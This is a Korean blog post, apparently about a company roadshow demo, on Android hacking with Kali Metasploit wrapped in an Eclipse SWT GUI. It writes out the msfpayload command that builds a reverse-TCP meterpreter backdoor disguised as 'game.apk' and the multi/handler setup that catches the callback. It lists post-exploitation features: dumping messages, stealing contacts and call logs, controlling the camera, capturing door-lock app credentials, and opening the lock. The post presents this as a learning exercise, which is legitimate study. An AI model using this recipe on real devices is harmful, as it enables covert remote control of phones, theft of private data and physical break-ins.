내용은 이전 kali 를 이용한 안드로이드 해킹과 같다.

다만 swt를 활용하여 UI를 입혀보았다.

또한 msfconsole창에서 사용한 것이 아닌 이클립스 swt 창으로 실행되는 것을 구현해보았다.


회사 로드쇼에서 사용한 것이기 때문에 소스코드는 공개하지 못한다는 점 양해 구합니다..

(이런것도 가능하구나! 라고 생각하시면 좋을 것 같습니다)


시연 목적

- 해커가 도어락을 제어하는 것과 단말을 원격으로 제어한다는 컨셉


시연 환경

- vmware11

- 이클립스 kepler버전(최신버전인 luna의 경우 SWT design을 지원하지 않아 그 전 버전 kepler 사용)

- 안드로이드 4.3 갤럭시 s3(루팅 단말, 악성코드 앱 설치, 악성코드 앱이 죽지 않도록 임모탈 앱 설치)


용어 설명

1. metasploit: 오픈소스 도구로 공격코드, payload encoder, 보안 테스트 등을 제공하는 도구

2. msfconsole: metasploit framework 내에서 이용할 수 있는 설정과 옵션 제공

3. payload: framework에 의해 선택되고 전송되어 실행되길 원하는 시스템의 코드

4. exploit: 컴퓨터, 단말 버그, 보안 취약점 등 설계상 결함을 이용해 공격자의 의도된 동작을 수행하도록 만들어진 절차나 일련의 명령

5. resource: 실행파일을 로드하여 msfconsole에서 사용할 수 있도록 함

6. meterpreter: 실제로 희생자의 단말에 붙을 때 실행할 수 있는 명령어를 입력할 수 있는 콘솔


순서

1. 이클립스(Run)

2. service postgresql start (자동 구현) -db 작동

3. msfconsole 실행 (자동 구현)

- 스크립트 실행

- use multi/handler

- set PAYLOAD android/meterpreter/reverse_tcp   //시스템 코드 중 안드로이드 리버스 tcp코드 실행

- set LHOST xxx.xxx.x.xx     //kali linux ip설정

- set LPORT xxxx            //kali linux port 설정

4. resource 한번 더 실행 (자동 구현)

- 스크립트 실행

- set AutoRunScript<스크립트 파일 명>   핵심

 //meterpreter에 접속이 될 때 루비언어로 바로 실행 모드로 전환할 수 있도록 설정

 //실제로 구현해보면 알 수 있지만 meterpreter 창 실행은이클립스에서 제어가 안됨

 //즉 스크립트를 통해 meterpreter > 모드로 진입할 수 있도록 스크립트 구현함

- exploit


위의 내용까지의 이클립스 콘솔 화면



starting PostgreSQL 9.1 database server: main        //service postgresql start

msf > resource <file명>                            //resource 실행


kali에서 내용 복사가 안되어 전에 작성한 파일 캡처로 대체하겠습니다...



------------위 설명까지는 이클립스에서 run을 실행했을 때 자동으로 실행이 됨(이클립스 콘솔 확인 가능)



swt를 활용하여 구성한 UI(허접합니다..)


GUI 화면

1. button1: System Information        //sysinfo 명령어 사용(단말 확인 가능)

2. button2: check Rooting            //단말 루팅 확인 가능

3. button3: Message Dump 및 Dump파일 open

4. button4: TcpDump 및 open       

5. DoorLockOpen


Tcpdump의 경우 루팅 된 단말에서는 가능하기 때문에 시연에서 사용

예)

메시지 덤프 후 덤프 파일 OPEN(개발용 단말이기 때문에 개인적 메시지가 없음..)


Tcpdump 뜬 화면


앱에서 도어락을 열 때 id/pw 탈취



현재 도어락과 연결되어 있지 않아 DoorLockOPEN 버튼이 활성화 되지 않지만

구현 때에는 open되고 창에는 SUCCESS 메시지 출력



뭐 그렇게 대단한 내용은 아니지만

msfconsole을 별도의 GUI를 만들어서 해킹 시나리오를 만들어봤다는데에 의의를 두는 프로젝트였습니다.

또한 swt도 처음이고 칼리 안드로이드 해킹도 처음이어서 많이 배울 수 있는 기회였습니다.


1. kali linux 실행


#msfconsole


2. msfpayload(reverse tcp)


#msfpayload android/meterpreter/reverse_tcp LHOST=192.168.102.128 LPORT=4444 R > game.apk

(msfpayload android/meterpreter/reverse_tcp LHOST=your ip LPORT=anything port R > xxx.apk)



위의 명령을 입력하면 game.apk라는 앱이 생성된다. 이를 희생자 apk에 설치한다.

LHOST는 자신의 IP를 입력하여야 한다. 그러면 희생자는 LHOST 및 해당 포트에 연결된다.


해당 앱을 분석해보면





를 확인해 볼 수 있다.


msf>use multi/handler  

msf>set PAYLOAD android/meterpreter/reverse_tcp

msf>set LHOST 192.168.102.128

msf>set LPORT 4444

     


msf> show options


잘 된 것을 확인할 수 있다.


msf>exploit




희생자 안드로이드를 기다리게 된다...


안드로이드가 붙으면 세션이 open된다.


meterpreter > sysinfo        //안드로이드 시스템정보 확인


그밖에 루팅된 단말인지 확인

전화번호부 탈취, 메시지 탈취, 통화기록 탈취

카메라 제어(동영상 촬영도 됨.....)

안드로이드 shell 사용


등등 기능 많음


시간 관계상 각각의 기능은 추후 업데이트 예정



metasploit이란?

-> 오픈소스 도구로 공격 코드, 페이로드 인코더, 정찰 도구, 보안 테스팅 등을 제공하는 일종의 체계


metasploit 특징

1. 공개된 공격코드 정리/검증을 시간 단축

2. 여러 플랫폼 사용 가능

3. 취약점을 빠르게 최신화

4. 취약점에 대한 쉘코드 제공


metasploit framework



metasploit 용어

1. exploit

- 익스플로잇은 공격자 또는 모의해킹 테스터가 시스템 응용프로그램, 서비스 내의 결함을 찾는 데 수단

- 일반적인 익스플로잇은 버퍼 오버플로우, 웹 어플리케이션 취약점(SQL-injection), 설정 에러 등 포함

2. payload

- 프레임워크에 의해 선택되고 전송되어 실행되길 원하는 시스템 코드

- 공격대상인 운영시스템에서 수행될 몇몇 명령어들을 심플하게 해놓은 것 일 수 있음

3. MSFConsole

- 프레임워크안에서 이용가능한 거의 모든 설정과 옵션을 제공하는 툴

- 사용자 친화적인 대화형 방식을 사용해 모든 기능에 접근하는 인터페이스

4. MSFcli

- 프레임워크의 고유한 인터프리터를 사용하지 않고 커맨드 라인으로 직접 수행하는 인터페이스

(http://nakyungpapa.tistory.com/153 내용 발췌)



msfconsole 사용



kali에서 msfconsole을 치면 콘솔을 사용할 수 있는데 가끔 다음과 같은 메시지의 오류를 확인할 수 있다.


Failed to connect to the database: could not connect to server: Connection refused

Is the server running on host "localhost" (::1) and accepting TCP/IP connections on port 5432??


이는 

#service postgresql start 를 통해 해결할 수 있다.





msfconsole을 실행하면 아래와 같이 화면이 출력된다. 이미지는 매번 바뀐다.




msfconsole 관련 커맨드들





exploit code 확인 명령어




보이는 것 같이 엄청 많다. 윈도우, 리눅스, 유닉스, 안드로이드 등 이름과 날짜, 위험수준, 그리고 어떤 취약점을 이용한 공격인지 확인할 수 있다.


+ Recent posts